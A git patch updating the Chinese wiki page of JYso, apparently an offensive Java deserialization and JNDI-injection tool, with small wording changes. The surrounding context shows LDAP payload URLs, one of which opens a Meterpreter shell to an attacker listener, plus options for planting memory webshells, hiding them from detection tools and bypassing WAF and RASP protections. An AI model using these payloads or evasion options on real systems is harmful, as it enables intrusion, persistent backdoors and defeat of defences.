From 9ca01e13b92d99096f1b716bd5a9f9deb0beb4df Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=82=81?= <75202638+qi4L@users.noreply.github.com> Date: Tue, 26 Mar 2024 09:29:17 +0800 Subject: [PATCH] =?UTF-8?q?Updated=20JYso=E2=80=90CN=20(markdown)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- JYso‐CN.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/JYso‐CN.md b/JYso‐CN.md index 4bf4d08..92a24ed 100644 --- a/JYso‐CN.md +++ b/JYso‐CN.md @@ -209,7 +209,7 @@ ldap://127.0.0.1:1389/TomcatBypass/E-Meterpreter/msf/[msf_ip]/[msf_port] - 命令 `MS-WSFMSFromThread-...`：通过线程类加载器获取指定上下文系统内植入 Websphere Filter 型内存马 + JNDI-Injection-Exploit 用法： - + shell后可以加额外参数，需要base64编码，参数具体看1.5 + + shell后可以加额外参数，需要base64编码，参数具体看1.5 ``` ldap://127.0.0.1:1389/[Basic or TomcatBypass]/[M-MS-MemShellClass-...]/shell/base64params ``` @@ -429,7 +429,7 @@ usage: JYso-[version].jar [-ch ] [-dcfp ] [-dl ] [-dt ] [-f -dt,--dirty-type 利用脏数据绕过WAF，类型：1:Random Hashable Collections/2:LinkedList Nesting/3:Serialized Data中的TC_RESET -f,--file 将输出写入 FileOutputStream（指定文件名） -g,--gadget Java deserialization gadget - -gen,--gen-mem-shell 将内存 Shell 类写入文件 + -gen,--gen-mem-shell 将内存 Shell 类保存为class文件 -gzk,--godzilla-key Godzilla key,default [key] -h,--hide-mem-shell 对检测工具隐藏内存外壳（类型2仅支持SpringControllerMS） -hk,--header-key MemoryShell 标头检查，请求标头密钥，默认 [Referer] @@ -437,7 +437,7 @@ usage: JYso-[version].jar [-ch ] [-dcfp ] [-dl ] [-dt ] [-f -hv,--header-value MemoryShell 标头检查,请求标头值,默认 [https://QI4L.cn/] -i,--inherit 是否让payload继承AbstractTranslet（低版本的JDK如1.6应该继承） -mcl,--mozilla-class-loader 在 TransformerUtil 中使用 org.mozilla.javascript.DefiningClassLoader - -n,--gen-mem-shell-name 内存外壳类文件名 + -n,--gen-mem-shell-name 设置MemShell类文件名 -ncs,--no-com-sun 强制使用 org.apache.XXX.TemplatesImpl 而不是 com.sun.org.apache.XXX.TemplatesImpl -o,--obscure 使用反射绕过RASP -p,--parameters Gadget parameters